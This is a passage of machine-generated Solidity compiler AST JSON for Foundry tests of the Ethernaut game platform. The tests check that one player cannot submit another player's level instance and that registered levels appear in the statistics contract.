2"},"value":"2"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2787:20:120","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":58317,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2779:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":58316,"name":"uint256","nodeType":"ElementaryTypeName","src":"2779:7:120","typeDescriptions":{}}},"id":58324,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2779:29:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":58315,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2771:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":58314,"name":"uint160","nodeType":"ElementaryTypeName","src":"2771:7:120","typeDescriptions":{}}},"id":58325,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2771:38:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":58313,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2763:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":58312,"name":"address","nodeType":"ElementaryTypeName","src":"2763:7:120","typeDescriptions":{}}},"id":58326,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2763:47:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"2744:66:120"},{"assignments":[58330],"declarations":[{"constant":false,"id":58330,"mutability":"mutable","name":"dummy","nameLocation":"2826:5:120","nodeType":"VariableDeclaration","scope":58373,"src":"2820:11:120","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"},"typeName":{"id":58329,"nodeType":"UserDefinedTypeName","pathNode":{"id":58328,"name":"Dummy","nameLocations":["2820:5:120"],"nodeType":"IdentifierPath","referencedDeclaration":52095,"src":"2820:5:120"},"referencedDeclaration":52095,"src":"2820:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}},"visibility":"internal"}],"id":58334,"initialValue":{"arguments":[{"id":58332,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58311,"src":"2840:8:120","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":58331,"name":"Dummy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52095,"src":"2834:5:120","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Dummy_$52095_$","typeString":"type(contract Dummy)"}},"id":58333,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2834:15:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}},"nodeType":"VariableDeclarationStatement","src":"2820:29:120"},{"expression":{"arguments":[{"hexValue":"74727565","id":58338,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2879:4:120","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":58335,"name":"dummy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58330,"src":"2860:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}},"id":58337,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2866:12:120","memberName":"setCompleted","nodeType":"MemberAccess","referencedDeclaration":52094,"src":"2860:18:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bool_$returns$__$","typeString":"function (bool) external"}},"id":58339,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2860:24:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58340,"nodeType":"ExpressionStatement","src":"2860:24:120"},{"expression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58342,"name":"dummy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58330,"src":"2905:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}},"id":58343,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2911:9:120","memberName":"completed","nodeType":"MemberAccess","referencedDeclaration":52084,"src":"2905:15:120","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_bool_$","typeString":"function () view external returns (bool)"}},"id":58344,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2905:17:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":58341,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2894:10:120","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":58345,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2894:29:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58346,"nodeType":"ExpressionStatement","src":"2894:29:120"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58347,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2934:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58349,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2937:9:120","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"2934:12:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":58350,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2934:14:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58351,"nodeType":"ExpressionStatement","src":"2934:14:120"},{"expression":{"arguments":[{"id":58355,"name":"user2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58062,"src":"2968:5:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58352,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2959:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58354,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2962:5:120","memberName":"prank","nodeType":"MemberAccess","referencedDeclaration":15326,"src":"2959:8:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":58356,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2959:15:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58357,"nodeType":"ExpressionStatement","src":"2959:15:120"},{"expression":{"arguments":[{"hexValue":"5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f207468652063757272656e742075736572","id":58361,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3000:50:120","typeDescriptions":{"typeIdentifier":"t_stringliteral_3fc2602a18cef61063c187d4c222a91651cdbd7a144611b2f3ee42205aee6376","typeString":"literal_string \"This instance doesn't belong to the current user\""},"value":"This instance doesn't belong to the current user"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3fc2602a18cef61063c187d4c222a91651cdbd7a144611b2f3ee42205aee6376","typeString":"literal_string \"This instance doesn't belong to the current user\""}],"expression":{"id":58358,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2984:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58360,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2987:12:120","memberName":"expectRevert","nodeType":"MemberAccess","referencedDeclaration":15646,"src":"2984:15:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) external"}},"id":58362,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2984:67:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58363,"nodeType":"ExpressionStatement","src":"2984:67:120"},{"expression":{"arguments":[{"arguments":[{"id":58369,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58311,"src":"3099:8:120","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":58368,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3091:8:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":58367,"name":"address","nodeType":"ElementaryTypeName","src":"3091:8:120","stateMutability":"payable","typeDescriptions":{}}},"id":58370,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3091:17:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58364,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58052,"src":"3061:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":58366,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3071:19:120","memberName":"submitLevelInstance","nodeType":"MemberAccess","referencedDeclaration":49100,"src":"3061:29:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_payable_$returns$__$","typeString":"function (address payable) external"}},"id":58371,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3061:48:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58372,"nodeType":"ExpressionStatement","src":"3061:48:120"}]},"documentation":{"id":58245,"nodeType":"StructuredDocumentation","src":"2239:85:120","text":"@notice Should not allow player A to use player's B instance to complete a level."},"functionSelector":"da146abe","implemented":true,"kind":"function","modifiers":[],"name":"testUseOtherPlayerInstance","nameLocation":"2338:26:120","parameters":{"id":58246,"nodeType":"ParameterList","parameters":[],"src":"2364:2:120"},"returnParameters":{"id":58247,"nodeType":"ParameterList","parameters":[],"src":"2374:0:120"},"scope":58855,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":58513,"nodeType":"FunctionDefinition","src":"3218:841:120","nodes":[],"body":{"id":58512,"nodeType":"Block","src":"3257:802:120","nodes":[],"statements":[{"expression":{"arguments":[{"id":58381,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58064,"src":"3281:5:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58378,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"3267:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58380,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3270:10:120","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"3267:13:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":58382,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3267:20:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58383,"nodeType":"ExpressionStatement","src":"3267:20:120"},{"assignments":[58386],"declarations":[{"constant":false,"id":58386,"mutability":"mutable","name":"level","nameLocation":"3310:5:120","nodeType":"VariableDeclaration","scope":58512,"src":"3297:18:120","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"},"typeName":{"id":58385,"nodeType":"UserDefinedTypeName","pathNode":{"id":58384,"name":"DummyFactory","nameLocations":["3297:12:120"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"3297:12:120"},"referencedDeclaration":52145,"src":"3297:12:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"visibility":"internal"}],"id":58391,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":58389,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"3318:16:120","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_DummyFactory_$52145_$","typeString":"function () returns (contract DummyFactory)"},"typeName":{"id":58388,"nodeType":"UserDefinedTypeName","pathNode":{"id":58387,"name":"DummyFactory","nameLocations":["3322:12:120"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"3322:12:120"},"referencedDeclaration":52145,"src":"3322:12:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}},"id":58390,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3318:18:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"nodeType":"VariableDeclarationStatement","src":"3297:39:120"},{"expression":{"arguments":[{"id":58395,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58386,"src":"3370:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"expression":{"id":58392,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58052,"src":"3346:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":58394,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3356:13:120","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"3346:23:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":58396,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3346:30:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58397,"nodeType":"ExpressionStatement","src":"3346:30:120"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58398,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"3386:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58400,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3389:9:120","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"3386:12:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":58401,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3386:14:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58402,"nodeType":"ExpressionStatement","src":"3386:14:120"},{"expression":{"arguments":[{"id":58406,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58060,"src":"3425:4:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58403,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"3411:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58405,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3414:10:120","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"3411:13:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":58407,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3411:19:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58408,"nodeType":"ExpressionStatement","src":"3411:19:120"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":58414,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58386,"src":"3480:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":58413,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3472:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":58412,"name":"address","nodeType":"ElementaryTypeName","src":"3472:7:120","typeDescriptions":{}}},"id":58415,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3472:14:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":58410,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58055,"src":"3451:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":58411,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3457:14:120","memberName":"doesLevelExist","nodeType":"MemberAccess","referencedDeclaration":56411,"src":"3451:20:120","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view external returns (bool)"}},"id":58416,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3451:36:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":58409,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"3440:10:120","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":58417,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3440:48:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58418,"nodeType":"ExpressionStatement","src":"3440:48:120"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58419,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"3499:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58421,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3502:10:120","memberName":"recordLogs","nodeType":"MemberAccess","referencedDeclaration":12617,"src":"3499:13:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":58422,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3499:15:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58423,"nodeType":"ExpressionStatement","src":"3499:15:120"},{"expression":{"arguments":[{"id":58427,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58386,"src":"3554:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"expression":{"id":58424,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58052,"src":"3524:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":58426,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3534:19:120","memberName":"createLevelInstance","nodeType":"MemberAccess","referencedDeclaration":49017,"src":"3524:29:120","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) payable external"}},"id":58428,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3524:36:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58429,"nodeType":"ExpressionStatement","src":"3524:36:120"},{"assignments":[58435],"declarations":[{"constant":false,"id":58435,"mutability":"mutable","name":"entries","nameLocation":"3586:7:120","nodeType":"VariableDeclaration","scope":58512,"src":"3570:23:120","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log[]"},"typeName":{"baseType":{"id":58433,"nodeType":"UserDefinedTypeName","pathNode":{"id":58432,"name":"Vm.Log","nameLocations":["3570:2:120","3573:3:120"],"nodeType":"IdentifierPath","referencedDeclaration":12060,"src":"3570:6:120"},"referencedDeclaration":12060,"src":"3570:6:120","typeDescriptions":{"typeIdentifier":"t_struct$_Log_$12060_storage_ptr","typeString":"struct VmSafe.Log"}},"id":58434,"nodeType":"ArrayTypeName","src":"3570:8:120","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_storage_$dyn_storage_ptr","typeString":"struct VmSafe.Log[]"}},"visibility":"internal"}],"id":58439,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58436,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"3596:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58437,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3599:15:120","memberName":"getRecordedLogs","nodeType":"MemberAccess","referencedDeclaration":12595,"src":"3596:18:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$_t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr_$","typeString":"function () external returns (struct VmSafe.Log memory[] memory)"}},"id":58438,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3596:20:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log memory[] memory"}},"nodeType":"VariableDeclarationStatement","src":"3570:46:120"},{"assignments":[58441],"declarations":[{"constant":false,"id":58441,"mutability":"mutable","name":"instance","nameLocation":"3635:8:120","nodeType":"VariableDeclaration","scope":58512,"src":"3627:16:120","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":58440,"name":"address","nodeType":"ElementaryTypeName","src":"3627:7:120","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":58457,"initialValue":{"arguments":[{"arguments":[{"arguments":[{"baseExpression":{"expression":{"baseExpression":{"id":58448,"name":"entries","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58435,"src":"3670:7:120","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log memory[] memory"}},"id":58450,"indexExpression":{"hexValue":"30","id":58449,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3678:1:120","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3670:10:120","typeDescriptions":{"typeIdentifier":"t_struct$_Log_$12060_memory_ptr","typeString":"struct VmSafe.Log memory"}},"id":58451,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"3681:6:120","memberName":"topics","nodeType":"MemberAccess","referencedDeclaration":12055,"src":"3670:17:120","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":58453,"indexExpression":{"hexValue":"32","id":58452,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3688:1:120","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3670:20:120","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":58447,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3662:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":58446,"name":"uint256","nodeType":"ElementaryTypeName","src":"3662:7:120","typeDescriptions":{}}},"id":58454,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3662:29:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":58445,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3654:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":58444,"name":"uint160","nodeType":"ElementaryTypeName","src":"3654:7:120","typeDescriptions":{}}},"id":58455,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3654:38:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":58443,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3646:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":58442,"name":"address","nodeType":"ElementaryType